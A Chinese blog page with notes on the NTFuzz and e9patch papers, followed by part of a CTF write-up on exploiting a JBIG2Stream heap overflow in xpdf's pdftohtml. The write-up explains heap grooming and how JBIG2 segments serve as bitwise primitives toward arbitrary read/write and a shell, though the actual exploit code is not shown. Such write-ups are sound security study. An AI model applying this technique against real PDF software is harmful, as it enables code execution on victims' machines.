初始时,输入 CFG、调用图、API描述。之后对 callGraph 使用拓扑排序,自底向上的去遍历每个函数(即先分析 callee,再分析 caller)。这样做的目的是为了可以在分析调用图上层函数时,直接使用先前已分析好的下层函数 summaries,降低时间开销。每次执行 summarize 操作分析函数时,会记录下这个函数所调用的 syscall,以及其内存状态的变动情况。
但这种函数分析顺序无法处理递归调用和间接调用两种情况,因此 NTFuzz 只是简单的将其省略。除此之外,静态分析器还必须能够
接下来我们来重点看看静态分析器的三个部分:
Front-end
前端主要做了几件事情:读入 API 描述;将二进制文件解析成基本的 IR 语句并生成 CFG。其中,API 描述主要靠 Windows SDK 来获取,其代码内部的结构化注释也能很好的为 NTFuzz 提供类型信息。除此之外,解析出的 IR 省略了很多与类型信息或内存状态变动无关的 opcode,只留下了几个较为重要的:
有意思的是,这之中省略了一元运算符和分支跳转等指令。这可能是因为一元运算符通常不涉及内存修改,而分支跳转信息也会保存在所建立的 CFG 边上。
为了减小静态分析的 callGraph 大小,NTFuzz 先从带有 sysenter 指令的 syscall stub 函数开始,自底向上分析一个个函数的caller,直到遇到第一个 documented 的 API 函数,这样分析出来的函数集合称为 S1。但需要注意的是只分析 S1 是不够用的,因为这里面并没有包含其它可能会被 S1 中函数所调用的修改内存状态函数,因此在分析出 S1 后,还需要从 S1 函数集合出发,分析那些所有会被 S1 中函数所调用到的函数集合 S2。这样处理后,S1 + S2 集合便是 NTFuzz 需要进行静态分析的目标函数集合。
Modular Analyzer
整篇文章中最重要的部分就在这一小节中。
这一部分将会对目标函数集合依次执行 summarize 操作。整体上,该阶段会用到流敏感静态分析技术,这也是为了更好的支持指针分析技术。正如先前所说,这一步会记录下每个函数传递给 syscall 的参数值(注意这个值是抽象的,并非绝对的值),以及在函数进入和退出前后其内存状态的改变情况。具体来说,这步分为两个部分:抽象域(abstract domain) 和抽象语义(abstract semantics)。
抽象域(Abstract Domain),个人认为是用于在为函数提取 summary 时,指定其中某些变量或值的范围。其定义的抽象域主要有以下几种:
乍一看有亿点点复杂(实际上刚接触确实比较复杂),需要一点一点的啃。
集合 Z,表示的是整数集合。(就是高中数学的那个 Z 集合)
集合 I,表示抽象的整数集合。先引入一下 symbol 的概念,symbol 表示每个函数参数所引入的一个新的符号。因为我们在静态分析阶段没法确定各个函数调用的参数具体是什么值,因此需要用个符号来代替,有点类似符号执行的思想。例如
1 | int func(int a ) { |
此时在静态分析阶段,我们可以粗略的认为参数 a 的数值为一个 symbol $\alpha$,那么变量 b 的数值便是 $\alpha * 3 +1$。
因此,我们可以使用 $a*symbol+b$ 的形式来表示一个符号整数。当 a 为 0 时,则表示一个具体整数;a 不为 0 时,则表示一个符号整数。
比较有意思的是符号整数还并上了一个倒T和正T 集合后,才构成抽象整数集合 I。其中,
这里给出了倒T和正T 与普通整数的相加操作:
因为倒T集合中的元素没有实际分析意义,因此如果倒T集合与一个有分析意义的 i 相加,则保留 i。
由于正T表示的是任意整数集合,因此任意整数集合与其他整数相加,则仍然为一个任意整数集合,即正T集合。
个人猜测这种加法所保留的结果,会更偏向于保留更有意义的集合。其优先级排序大体为 $正T > i > 倒T$。
接下来我们来简单看看两个符号整数相加的结果:
可以看到,只有在一些非常限制的条件下,两个符号整数相加才能得到确定的结果,否则其结果集合将非常的大,用 正T 集合来表示。
集合 V,表示函数中某个值的抽象。我们可以使用三个集合来确定一个变量的属性,分别是抽象值集合(数值取哪些),抽象位置集合(该变量存到了哪里),以及抽象类型集合(这个值的类型可以是哪些)。对于某个特定的抽象值 V 来说,使用三元组表示,其可选的数值是 集合I的子集;可选的内存位置是集合L幂集的子集;可选的类型是集合T幂集的子集。
因此对于整个抽象值集合V来说,V的集合范围便是 集合 I x 集合L幂集 x 集合T 幂集。
注意,$2^T$ 表示集合 T 的幂集。
内存位置用幂集子集来表示,是因为一个指针在静态分析时可能会指向多个内存位置;类型同理。
集合L,表示抽象内存位置集合。抽象内存位置可能有以下几种:
全局变量区某个固定的位置,因此用 $Global(Z)$ 表示所有可能的全局变量集合
栈区某个固定位置,用二元组 (f, o) 表示函数 f 栈帧上相对偏移为 o 的位置,因此用 $Stack(function\space *\space Z)$ 表示所有可能的栈变量位置集合;堆区同理,不过堆区用的是 (a, o) 表示堆变量位置,表示地址 a 上相对偏移为 o 的位置。
上面这些都表示的是静态分析中相对较为固定的内存位置。
除了上面几种以外,还有一种内存位置是需要考虑的:符号指针 s 和指针偏移量为 o 的内存位置,用 SymLoc(s, o) 来指定抽象内存位置。
集合T,表示类型约束集合。对于一个变量来说,其类型,要么是一个确定的类型,要么就和 symbol 类型一样。注意这里是约束的集合,因此如果某个类型的约束集合为空,则表示可以为任何类型。
抽象语义(Abstract Semantics),个人认为是对 expr 或 stmt 具体干了什么做了一个描述。要理解这个得先把先前说的 IR 搬过来:
现在我们再来尝试理解对 expr 的 evaluation,一个一个来:
其中,$V$表示的是,在抽象状态 $S$ 下,给定一个 $expr$ ,返回其表示的 Abstract Value。
我们先看看什么是抽象状态 S:
我们可以很容易的知道,抽象状态 S 保存了寄存器->V 的映射关系,以及内存位置 L -> V 的映射关系,这样的一个二维元组。简单来说,一个 State 保存了所有关于值的东西,即所有寄存器对应的值和所有内存位置对应的值。
因此,我们用 S[0] 来表示状态 S 下寄存器的映射关系 R,S[1] 表示状态 S 下内存位置的映射关系 M。
接下来我们再试着理解 Stmt 的 evaluation:
其中,$m[k \rightarrow v]$ 表示把 m 从映射 k 强更新为 v;箭头上打个 w 表示是弱更新。在了解完 expr 相关的表达式后,我们可以较为容易的理解 Put、Store 和 update 原语,因此不再赘述。而对于 Call 原语来说,由于调用的函数可能会产生副作用(例如修改内存等等),因此需要额外处理。
这里,将一个函数的副作用定义为一个二元组,这样的二元组可以保存 什么样的参数导致什么样的内存修改 的信息:
而 apply 操作所要做的事情,就是将 Side Effect 中的 Update Set,apply 进状态 S 中:
apply 原语中有个倒 L 符号,个人理解是,将某个函数对某个内存位置上的值,映射为另一个函数上另一个内存位置上的值。这么说有点拗口,举个简单的例子:caller 有个变量,位于 $STACK(caller, -0x40)$,而 callee 则会访问 $STACK(callee, -0x80)$(caller 的局部变量),虽然看上去两个函数使用了不同的内存位置,但本质上这两个都指向的是同一个内存位置,因此需要做一个映射代换,那么倒L符号起到的就是这个替换作用。
Type Inferrer
类型推断器将会使用上一步所生成出的 summary 进行类型推断。难点在于结构体类型和数组类型推断。
首先是结构体类型推断。对于位于堆上的结构体来说,Inferrer 可以通过分析堆块所对应的状态来得出;但对于位于栈上的结构体来说,由于不像堆块那样隐含着边界信息,因此其他 field 可能会被误认为是其他的局部变量,很难去区分开到底栈上结构体中有哪些 field:
NTFuzz 在这里提出了一种启发式策略:通过函数中的内存访问模式,来判断某个栈变量是否为结构体中的一部分。
通俗的说,若某个相邻栈变量在初始化后从未使用,则说明这个变量是栈结构体中的一部分,将会被传递给 syscall;若这样的变量连初始化操作也没有,则说明这样的变量将会被 syscall 初始化。
其次是数组类型推断。数据类型分为两部分:数组元素类型和数组大小。其中数组元素类型可以通过 documented API 来获取;而数组大小可以通过 SAL 注释或者 API 参数的 size 参数来获取,以及还可以通过观察内存分配模式来获取。
有相当一部分 API 中的参数包含了数组指针和数组大小两部分,因此可以通过分析这些 API 来获取大小。
二进制重写技术在很多场景下都有大用,例如修复、加固、插桩、打补丁、调试等等。而大部分二进制重写技术都依赖于从输入二进制中恢复控制流信息,这是因为这些二进制重写技术通常都涉及指令移动等等,这就必须调整其他跳转指令的相对跳转偏移,即修复跳转目标集。
但问题在于,从二进制文件中恢复控制流信息是相当困难的:
因此大部分二进制重写技术都依赖于一组甚至多组假设,例如特定编译器、特定编程语言等等。这样一来这些二进制重写技术都存在着局限性,难以扩展,同时也没办法处理大型程序,比如 chrome。
这篇论文向我们展示了一种基于 x86_64 的二进制重写技术,称为 e9patch。其中,e9
表示的是 jmpq rel32
的 opcode:0xe9。这种二进制重写技术的优点在于控制流无关(control flow agnostic),即无需任何控制流信息的知识。其二进制重写方法保留了跳转目标集,无需控制流恢复。因此, 这个工具相当的鲁棒,而且还可以 patch 诸如 chrome 等等大小大于 100MB 的二进制程序。
除了普通的二进制程序以外,e9patch 还可以为 shared objects 或 libraries 打补丁。
控制流无关的二进制重写技术无需知道跳转目标集,它把每一条指令都当作潜在的跳转目标,并在控制流执行到该指令时,保留该指令的语义(注意,这里保留的是指令的语义,而不是原始指令)。即二进制中所有的指令满足以下三个条件中的任意一个:
以下是几种控制流无关的二进制重写技术,e9patch 将在这些技术的基础上进行扩展。
这应该是原理最简单的技术。通过把特定指令 patch 成 int3 断点,当控制流执行到此处时便会触发 SIGTRAP,此时控制流被信号处理例程接管(在某些用途下甚至是调试器接管,例如 trapfuzz),这样一来要 patch 的工作便可以在信号处理例程中进行。
其缺点是:性能开销很大。中断和信号处理例程的切换,会涉及到用户-内核层上下文的切换,时间开销可能会上一个数量级。
这种方式会将目标指令替换成一条 jmpq rel32
指令,使得控制流在执行到此处时,跳转至 trampoline 里,之后在 trampoline 中执行 patch 的指令,并在需要时执行原先被 patch 的那条指令。这种方法的一个应用场景是 inline hook:
但这种方法同样存在着局限性。对于 jmpq rel32
指令来说,该指令的大小为 5 个字节。如果待 patch 的指令其指令大小大于等于5个字节,则直接将 jmpq 指令替换上去,此时这种重写技术还是控制流无关的。
但问题在于,如果待 patch 的指令小于 5 字节呢?以上图为例,将 mov edi, edi
指令替换成 jmpq
后,会一并覆盖掉下面两条指令。如果该函数中存在某条 jmp 指令跳转至被覆盖的那两条指令,则会触发异常,因为跳转目标的 opcode 已经被纂改。
这个技术要重点说明一下,因为 e9patch 是基于这项技术进行的扩展。
除了上述两种方法以外,还有一种方法是专门处理一种可以与其他指令安全重叠的 jmpq 指令,这种方法称为 指令双关(Instruction Punning)。基本思想是找到与任何重叠指令共享相同字节表示的相对偏移量值,之后使用该相对偏移量,用 jmpq
指令安全地替换被 patch 的指令。
举个简单的例子,:
1 | mov %rax, (%rbx) |
对应到机器码便是下图中的 original:
假设我们需要 patch 掉 mov $rax, (%rbx)
,instruction punning 便可以重用下条指令的前两个字节(0x48 0x83),使得在 patch 点凑出了一个五字节的 jmpq 指令( jmpq 0x8348xxxx
),同时避免修改下条指令的 opcode。
这样,当控制流执行到 mov
指令所对应的位置时,控制流便可以进行 jmpq 跳转。同时如果存在其他指令需要跳转至 add 指令时,add 指令也可以很好的工作,因为 add 指令的 opcode 并没有修改。
指令双关中的这个双关,指的是下条指令中的 opcode,既可以表示该指令,又可以表示 jmpq 的部分偏移量。
但这种方法同样存在局限性。注意到 jmp 中的相对跳转偏移高地址两个字节已经被下个指令的 opcode 给定死了。因此可跳转的内存空间被局限住了,只能相对跳转至相对偏移在 0x83480000~0x8348ffff
这个范围内的内存空间。这个范围的内存空间并非总是可用的,有可能这个范围正对应于:
以这个图为例,相对偏移量 0x8348xxxx 实际上是一个负数(32位偏移)。当相对偏移量为负数时,实际跳转至的位置可能在 NULL 周围甚至下溢至负地址范围,而这部分内存空间可能很难 mmap 到。
因此,指令双关技术只能给部分指令打上 patch,可 patch 的覆盖率不高。
e9patch 基于上面 B1/B2 的方法,做了一系列改进。在说明具体改进之前,我们先说明该工具所基于的假设:
可以看到这里的假设相对于先前说的依赖编译器、依赖特定语言、依赖二进制元数据等放宽了很多,e9patch 都不依赖这些东西。
e9patch 并不内嵌反汇编器,而是靠用户来输入目标程序的指令信息(例如指令相对偏移和指令大小等等)。这样做的目的是为了实现更好的灵活性,用户可以在只知部分指令信息的情况下完成局部插桩,提高效率;而且还便于 e9patch 嵌入其他的设计中。
接下来我们来讲讲 e9patch 所提供的三种新策略。这里我们看看基于以下指令的一个示例:
1 | Ins1: mov %rax, %(rbx) |
为了便于说明,这里给出几种假设:
假设要 patch 的指令是 Inst1
假设相对跳转偏移为负数时所对应的内存空间是无效的,即不可分配。
因此先前介绍的 Instruction Punning 技术不可用,因为其相对跳转偏移为负数。
通常 jmpq 的机器码长度为 5 个字节:1 字节的 opcode 和 4 字节的相对偏移。而实际上,还存在一种方法可以使用更多字节来对 jmpq 进行编码:使用冗余指令前缀形式的额外字节来填充跳转指令。
x86_64 中存在一些不会影响相对跳转指令语义的指令前缀,例如 REX 前缀、段重写前缀 (es,ss等等) 以及操作数重写前缀(0x66)。在这个例子中,我们可以使用指令前缀来对 jmpq 指令进行填充,以将相对偏移的字节表示向高地址处移动。
图中 T1(a) 使用了一个指令前缀 REX (0x48) 进行填充,填充后的 jmpq 范围为 0xc08348XX
。由于该偏移量为一个负数值,因此不能使用,需要继续填充。
这里 e9patch 在 T1(a) 的基础上填充了段重写前缀 es (0x26),填充后即为 T1(b) 的效果。可以看到此时 T1(b) 中 jmpq 的相对跳转指令为 0x20c08348,不再是个正数,因此该 jmpq 大概率可以跳转至一个可被分配的内存空间。
通过上面的这个例子我们可以看到策略 T1 的优点、缺陷和特性:
优点:可以通过额外写入一些指令前缀,来发现并使用新的有效相对跳转偏移
缺点:T1 适用性依赖于指令长度。如果指令长度较短,则 T1 能进行补丁尝试的次数将较少。这也意味着 T1 不能适用于单字节指令的 patch。
特性:每一次新的补丁尝试将会缩小 trampoline 可操作的内存地址范围。例如:
0x83480000~0x8348ffff
(范围:0x10000字节)0xc0834800~0xc08348ff
(范围:0x100字节)0x20c08348
(范围:0字节)这之所以被我归类到特性而非缺点,是因为 e9patch 只会在当前前缀所对应的内存空间不满足使用条件时才会继续增加前缀。不满足条件的内存空间范围再大也没有什么用处。
如果使用 T1 方法时,再怎么 padding Ins1 也不存在可用的跳转偏移该怎么办?是不是可以尝试修改 Ins2 前几个字节的数据来对 Ins1 patch 提供条件?接下来就要介绍另一种策略,称为后继指令驱逐。其思路是:
将相邻指令 Ins2 驱逐,换成一条 jmpq 指令。
这条 jmpq 指令跳转至一个 trampoline2 上执行原有的 Ins2 指令,之后再调回来继续执行 ins3 即接下来的指令
注:将被驱逐的指令为 victim。
这样一来,Ins2 指令所对应的语义并没有被修改(因为 Ins2 确实被执行,与先前相比只是是在 trampoline2 中执行,同时多了两次跳转操作:调至 trampoline2 再跳回来)。但 Ins2 指令所在的内存地址,其上面的字节表示确确实实的发生了修改。这样一来,Ins1 便可以再次尝试使用 T1 策略来进行 patch,patch 成功后便可跳转至 trampoline1 中执行其他操作。
注意,两个 trampoline 是不一样的。
整个思路可以精简成:
尝试使用 T1 策略,发现 T1 策略无法 patch Ins1。为了修改 Ins1 所依赖的那些 Ins2 上的机器码,e9patch 先尝试使用 T1 策略来 patch Ins2。等 Ins2 patch 成功后,再来对 Ins1 重试 T1 策略。
整个过程仍然保证:
如果相邻的指令不满足 patch 条件,同时 Successor Eviction 也不起作用,那该如何呢:
e9patch 会继续向后面找可用的机器码序列,作为其相对跳转偏移 rel32(高地址方向)
找到后,就会在这里原地创建一个 jmpq 指令,即 T3(a)。
之后,在被 patch 指令上 patch 一个相对短跳指令,跳转至这个新的 jmpq 指令处,也就是 T3(b)。
注意到 Ins3 的机器码因为第二步的 patch 被修改。因此这里同样需要对 Ins3 做一个 patch 操作,patch 一个 jmpq 上去,使其跳转至 trampoline 执行 Ins3 指令。
这样便可保证修改后与修改前 Ins3 指令的语义保持不变。(T3©)
T3 策略虽然较为复杂,但其功能较为强大,其关键之处在于 victim 的数量。假设指令平均长度为 4,那么短跳转大概可以跳转至 64 个潜在的 victim,因此大多情况下至少能找到一个合适的 victim,这个策略也将可 patch 指令的覆盖率提高至将近 100%。
以下是 T3 策略的示例:
上面说的这些情况针对的都是 patch 单个指令的情况。但在实际情况中,通常用户可能会要求连续 patch 多条指令。
这里指的连续 patch 多条指令,不是指将这连续的指令 patch 成一个 trampoline jmp,而是指将连续指令的每一条指令都 patch 成多个 trampoline jmp。
我们再来看看这张图:
假设用户要将 Ins1 patch 成一个 trampoline1 jmp、Ins2 patch 成一个 trampoline2 jmp。那么如果我们先 patch Ins1 的话(T1(b)),可以看到 patch 后的 trampoline1 jmp 指令,会依赖 Ins2 中的机器码(因为 Ins1 jmpq rel32 中的相对偏移量现与 Ins2 的机器码重合)。
这种依赖关系会阻碍 Ins2 的 patch 过程,因为如果先 patch Ins1 再 patch Ins2 的话,Ins2 的 patch 过程可能会影响到 patch 后的 Ins1。
因此为了更好的管理多个 patch 的位置,e9patch 使用反向顺序补丁策略。其基本思想是:按照从高到低的地址顺序来 patch 指令,因为 指令双关 只能引入与后续指令的依赖关系。
e9patch 保存了每个指令机器码的状态,即锁定和未锁定,这可以使用一个 Bitmap 来保存。当某个机器码:
被 e9patch 修改
被用于指令双关的一部分机器码
则认为这个机器码是被锁定的。
T1-T3 的这些策略限制了:
patch 操作将不能修改被锁定的机器码(但是仍然可以利用,或者重叠)
仅锁定当前 patch 位置后的字节(为了便于管理依赖)
这使得 T3 的短跳 rel8 只能是正数,将可跳转的范围(即可被驱逐的指令个数)缩小一半。
但是实际上这种限制在实验中影响很小。
最后我们来考虑一下 trampoline 的内存存放位置。在先前的策略中我们可以看到,trampoline 的内存地址受到指令双关中相对偏移量的限制。例如:
T1(b) 的 trampoline addr 为 0x20c08348
T3(b) 中的 trampoline addr 为 0x4dfc7b83
这之中相差了非常远的内存距离,会影响 trampoline 的打包,导致高内存碎片和低内存利用率。同时离散的 trampoline 也会大大增加其保存在 ELF 文件中的大小。
那么很明显有一种方法可以缓解这种低效率的情况:将多个 trampoline 尽可能地放到同一个虚拟页中。只是最坏情况下是一个 trampoline 存放至一个内存页中。
因此 e9patch 还使用了一种机制称为 Physical Page Grouping
:
尝试将多个存放在不同 virtual page 中的 trampoline,聚拢并存放到同一个 physical page。
以上图为例,先前是一个 Physical Page P(a)
对应于一个 Virtual Page V(a)
。这种对应关系会占用大量的物理内存。但执行 Physical Page Grouping
后,映射关系是一个 Physical Page P(b)
对应于多个 Virtual Page V(b)
,这样可以节省下大量的物理内存。
注:一个跨越 Page 的 trampoline 被视为两个 mini trampoline。
从 V(a)
到 P(b)
的这种 grouping 算法称为分区算法。分区算法的实现有很多种,这里 e9patch 选择的是最简单的贪心算法,而且性能较为不错。
Physical Page Grouping 也有自身的副作用:
vm.max_map_count = 65536
。有两种解决方法:e9patch 的输入:
输出:一个使用上述策略的被 patch 程序。重写后的二进制文件相当于原始文件的插入式替换,无需额外依赖项。
实现中有两个点需要注意:
e9patch 同时支持 PIE 和 non-PIE 的二进制文件。而且 PIE 程序会比 non-PIE 程序更好被 patch,因为 PIE 的代码通常会被加载到内存地址较高的位置,而 non-PIE 会被加载到内存地址较低的位置,而这与 NULL 更近。
某些情况会影响到 e9patch 的使用:
L1: 虚拟内存短缺。对于一些具有非常大的代码段或者数据段的程序可能会限制 trampoline 的使用空间,因为 jmpq 的偏移是 32 位的,如果代码段和数据段太大,则可能会无法跳转至堆空间中。
L2: patch 单字节指令。e9patch 无法 patch 单字节指令,这会影响到包括 push、pop、ret 在内的指令。
L3: patch 超大量的指令 。如果尝试 patch 相当多指令的话,可能会因为机器码依赖关系而降低 patch 覆盖率。
除此之外,e9patch 不能处理那些 inline data 的情况,即 data 包含在 code 之中的情况。
不过通常情况下 L1并不适用于大部分程序; L2 和 L3 也与许多程序没有什么关系。
主要从以下几个指标评估:
e9patch 可应用与二进制加固、插桩和修复等等。patch 程序时, e9patch 主要为以下两种指令进行 patch:
所有 jmp/jcc 跳转指令
粗略模拟覆盖率插桩,因为 e9patch 在设计上没有基本块的信息,因此只是粗略的 patch 掉每个 jmp 指令。
所有可能会写入堆指针的指令
这里模拟的是二进制加固情况下,patch 掉写入堆指针相关的指令。
所有被 patch 的指令,都替换成一个除了执行原始指令以外的空 trampoline。以下是评估的结果:
#Loc: 总被 patch 的个数
Base%: B1+B2 策略
Succ%:总 patch 覆盖率
从上图可以看到:
e9patch 的覆盖率相当的高,基本可以接近 100%。
在 baseline 覆盖率不高的情况下,T1-T3 策略可以将覆盖率极大的往高处升。
这里尤其需要强调一下 T3 策略。T3 策略本身可 patch 的覆盖率就比较大,可以 patch 那些其他策略无法 patch 的指令。
PIE 程序中任何一种 patch 策略都会比 non-PIE 程序中所对应的 patch 覆盖率要高很多。
gamess 和 zeusmp 之所以覆盖率没有到 100% 是因为这两个程序都分配了相当大的 .bss 段(正对应于 L1)。当这两个程序使用 PIE 模式进行编译时可以达到 100% 的覆盖率。
在使用 physical page grouping 策略后,文件大小分别涨幅 +57% / +30% ,还算可以接受。
在不使用该策略的情况下,大小涨幅分别是 +2239.83% / +568.96%,这就实在没法接受了。
之后是 scalability 的测试,这里是使用大型程序 chrome 和 firefox 的测试结果:
firefox 将大部分代码放置在 libxul.so 中。
测试时选择的测试集要求尽可能减小执行 JIT - JS 的代码执行时间。因为 e9patch 没法对 JIT 代码打 patch。
可以看到,chrome 引入了 ~+113% 的 overhead,firefox 引入了~+46% 的 overhead。firefox overhead 较低的一种可能原因是 firefox 花更多时间执行 JIT 代码,或者执行未被插桩的 shared object。
通过上面的内容可以看到, e9patch 可以很轻松的将 patch 规模扩展至上百兆文件大小的二进制程序。
最后是 e9patch 应用在二进制加固下的表现,这里先介绍一下测试用的二进制加固技术—— LowFat Pointer。其基本思想为:将程序虚拟内存空间分割为多个 large region,其中每个 region 负责分配一个给定的固定大小范围的对象:
第一个 Region 像往常一样包含程序文本、数据、bss等段。
后面的区域用于 LowFat 指针分配。例如,
Region #1用于大小为 1-16 字节的分配
Region #2 用于大小为 17-32 字节的分配
等等
此外,所有 LowFat 分配的对象都与分配大小边界对齐。这样一来,每一个 LowFat 指针的值都可以用于获取该对象的内存边界。
举个简单的例子:
1 | p = malloc(10); // p = 0x8997f2820 |
由于指针 p 的值位于 0x800000000~0x1000000000
中,因此可以得知 p 所指向的内存大小为 16 字节(注意内存对齐)。
对于内存访问 q = 0x8997f2825
,由于:
0x800000000~0x1000000000
范围,因此 object size 大小为 16 字节接下来对以下函数插桩:
1 | char get(char *q, int i) |
得到该函数以检测 OOB:
1 | char get(char *q, int i) |
而下图便是 e9patch 应用 LowFat 变体的实验结果:
而 lowfat 项目本身只能用在 C/C++ 语言中,而 e9patch 可以应用至任何语言的二进制文件中,因此 e9patch 相当的强大。
]]>这里是复盘 RWCTF2022 中 hso groupie
题时所写下的一些笔记,考点来源于 Project Zero 的 A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution 一文。
整体的做题思路主要由 Riatre 师傅的 exploit 中所推导出,换句话说,这里的笔记主要是对 作者 exploit 的解释说明。
由于这题同样也较为复杂,因此需要单独开一个博文来记录。
联合作者:sakura
1 | Help check how secure our latest PaaS (Pdftohtml-as-a-Service) is! |
这题是 clone-and-pwn,源码没有做任何改变,就是通过查看最近提交的漏洞修复记录来发掘并利用漏洞。
这一题是在 debian 下编译的,因此对于 debian 系统来说,有些系统可以直接跑 exp(例如我的 XD)。
1 | wget https://dl.xpdfreader.com/xpdf-4.03.tar.gz |
启动方式:
1 | xpdf/pdftohtml <pdf-path> -- |
去 题目环境 这里下载 dockerfile 等题目环境,之后给 dockerfile 打 patch:
1 | --- a/Dockerfile |
修改目的主要是把 gdbserver 放进镜像里,以及让入口点停在 /bin/sh
,而不直接启动 pdftohtml。
这里要注意 COPY 命令的源路径,这里是直接使用相对路径。
执行 build.sh
,执行完成后可以检查一下镜像
1 | ➜ chall git:(master) docker image ls |
启动 docker 镜像
1 | docker run -itd -p 1234:1234 -v sakura_volume:/tmp/chall --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name hsogroupie hsogroupie/pdftohtml |
该命令非常长,解构如下:
1 | docker run --help |
这里挂载数据卷需要额外说明(参考这篇文章)
1 | docker volume create sakura_volume // 创建一个自定义容器卷 |
然后我们对 /var/lib/docker/volumes/sakura_volume/_data
的修改就会映射到容器的 /tmp/chall
里,传输文件就比较方便。
启动完了之后我们可以 docker ps
一下看看有没有问题
1 | ➜ chall git:(master) docker ps -a |
生成 exp pdf,注意要对 submodule 初始化,不然没有 jbig2enc 库
1 | git clone https://github.com/Riatre/hso-groupie.git |
然后我们进入 docker 容器里对应数据卷的 exploit 目录下,应该要 install 这些安装包,要是少了就自己补一下:
1 | apt-get update |
调试 exp
1 | docker exec -it 15f265c337c0 bash |
进入容器的 bash 环境,然后启动 gdbserver
1 | rm -rf output && /usr/bin/gdbserver :1234 /usr/local/bin/pdftohtml /tmp/chall/exploit/sploit.pdf output |
这里的 output 是随便给一个文件夹名就行了,这是 pdftohtml 必须的启动参数,它会创建这个文件夹,并输出一个结果到这个文件夹里,并且它不能是已经存在的文件夹,而 sploit.pdf 就是我们生成出来的 exp pdf 文件。
然后在宿主机也启动 gdb,然后 target remote:1234
,然后随便下个断点看看效果,注意因为 docker 里的源码路径和我宿主机的源码路径并不一致,所以要用 substitute-path
做个转换,建议写个 gdb 脚本完成这个事情,后面就不用一直自己敲了。
1 | target remote :1234 |
现在我们就完成了整个调试环境的搭建。
这题预期的解法是使用这篇 google project zero 的 iMessage exploit 中的漏洞。漏洞点位于 JBIG2Stream
:
1 | void JBIG2Stream::readTextRegionSeg(Guint segNum, GBool imm, |
由于恶意构造的 refSegs
中,一些 seg->getSize()
值很大(4GB),因此如果全部写进则肯定会触发 crash。所以在实际的漏洞利用中,会尝试先做做堆风水:
看图,exploit 需要将 segments GList 的后备存储,放置在刚刚创建的溢出堆块的高地址处。这样触发堆溢出时,就能在执行前几个正常 size 的写入操作时,将后备存储中的那个超大 size 所对应的 segment 指针,替换成非 JBIG2SymbolDict 类型的 segment 指针(即 JBIG2Bitmap 类型)。之后当程序检索这个 segment 指针时,就会跳过该指针的检索。
漏洞点位于 JBIG2Stream ,而 JBIG2Stream 又怎么存在于 pdf 中呢?
pdf 文件结构本质上是一个树状图,这里给出一个使用 JBIG2Stream 的 pdf 片段:
1 | 4 0 obj |
pdf 文件中,
4 0 obj
、5 0 obj
都是表示一个特定的 pdf object。
其中,4 0 obj
标识了下面中的 MyStream1
,其参数 /Filter /FlateDecode
表示该流是使用 zlib 压缩。
继续往下看可以看到: 5 0 obj
中,/DecodeParms
引用了 4 0 obj
中的 stream 流,即 MyStream1
;同时参数 /Filter /JBIG2Decode
指定了接下来的流 MyStream2
使用的解码方式是 JBIG2Decode
。
因此从上文可以得知,MyStream2
使用 JBIG2Decode 进行解码,其解码参数为上面引用的这个 4 0 obj
,即 MyStream1
使用 FlateDecode
所解码后的流,而该参数的键为 JBIG2Globals
。
而我们要做的,就是精心构建 MyStream1
和 MyStream2
(这两个流都是 JBIG2Stream),使其在解析这两个 Stream 时能触发漏洞,从而 get shell。
构建好这两个流后,可以使用 jbig2enc/pdf.py 来创建出 pdf。
注,这一节中,每个 segment 所对应的代码最好亲自阅读一下。
当 xpdf 对 JBIG2Stream 解码时,正如上节中所示,JBIG2Decode 需要一个参数 JBIG2Globals
。因此在解析时,会先解析 JBIG2Globals
的 stream,之后再解析下面的 main stream。以下代码说明了 stream 的解析过程:
1 | void JBIG2Stream::reset() |
这里我们可以了解到,JBIG2Stream 是由多个 Segment 组成的,Segment 种类较多。这里我们只关注几个有用到的 Segment。
该 Segment 的解析标志了完成了全部 segment 的读取,没有其他用途。
SymbolDict 主要存放了一个指向 Bitmap 的指针数组。Bitmap 可以用于存放数据,在实际漏洞利用中将起到类似内存的作用。
对于每个 symbol dict 中的 Bitmap,规范中将其称为一个 instance。
解析 SymbolDictSeg 时,将会从 stream 中读取并创建出每一个 Bitmap。
1 | GBool JBIG2Stream::readSymbolDictSeg(Guint segNum, Guint length, |
对于每个 Page 来说,需要有一个 Bitmap 来表示当前页面渲染的数据。而在解析 PageInfoSeg 时,程序会创建一个流内全局 Bitmap:pageBitmap。
1 | void JBIG2Stream::readPageInfoSeg(Guint length) |
需要注意的是,pageBitmap 很关键,它表示了一个 Page 的 bitmap。我们将使用堆溢出来覆写 pageBitmap 的 Width 和 Height,进而达到越界读写的目的。
同时 PageInfoSeg 还可用于绕过一个 sanity check,下文中会提到。
GenericRegionSeg 的解析将会从流中读取一个 Bitmap,并与当前的 pageBitmap 的特定区域进行运算:
需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 GenericRegionSeg 不能存放在 JBIG2Globals 流中。
1 | void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm, |
其中,从流中读取 Bitmap 的操作位于 readGenericBitmap
函数中,读取的操作需要使用到编码器。
而与 pageBitmap 的运算主要是使用 JBIG2Bitmap::combine
方法,该方法中有五种运算方式,分别是 与、或、异或和替换:
1 | switch (combOp) |
我们可以将外部的立即数,通过利用该段的解析过程,将其传入 pageBitmap 中等待进一步的运算。
GenericRefinementRegionSeg 的解析过程,组合起来可以对 pageBitmap 上的部分数据进行位运算。我们可以利用这里的位运算来构建加法器:
1 | void JBIG2Stream::readGenericRefinementRegionSeg(Guint segNum, GBool imm, |
当 GenericRefinementRegionSeg 不引用任何段时,变量 nRefSegs 为 0,此时 refBitmap 为 pageBitmap 上指定 x、y、w、h 属性的一块数据空间。
由于函数 readGenericRefinementRegion
只会受到 refBitmap 的影响,因此我们可以认定传出的bitmap 变量等价于 pageBitmap 上特定区域的数据。
接下来,若我们指定 imm 为 false,那么这块等价于 pageBitmap 上特定区域的数据,将被存储进 segments 数组中。
若下一次解析 GenericRefinementRegionSeg 时引用了第一步创建的段,那么此时 refBitmap 为第一步创建的 Bitmap。这样当 imm 为 true 时,第一步创建的 Bitmap 将会和 pageBitmap 上指定的位置进行 combine 操作,即位运算。
由于第一步创建的 bitmap 是和 pageBitmap 相关,因此整个过程就等价于
1 | +----------------------> x-axis |
如此,便达到了让 pageBitmap 上指定两个位置的数据进行位运算的操作。我们将使用该操作来一步步构建位运算原语、乃至加法器。
TextRegionSeg 可以引用指定的 SymbolDictSeg,并对其中的任意 instance 进行操作。
需要注意的是,JBIG2Globals Stream 中的 Segment 不允许引用任何 Segment,因此 TextRegionSeg 不能存放在 JBIG2Globals 流中。
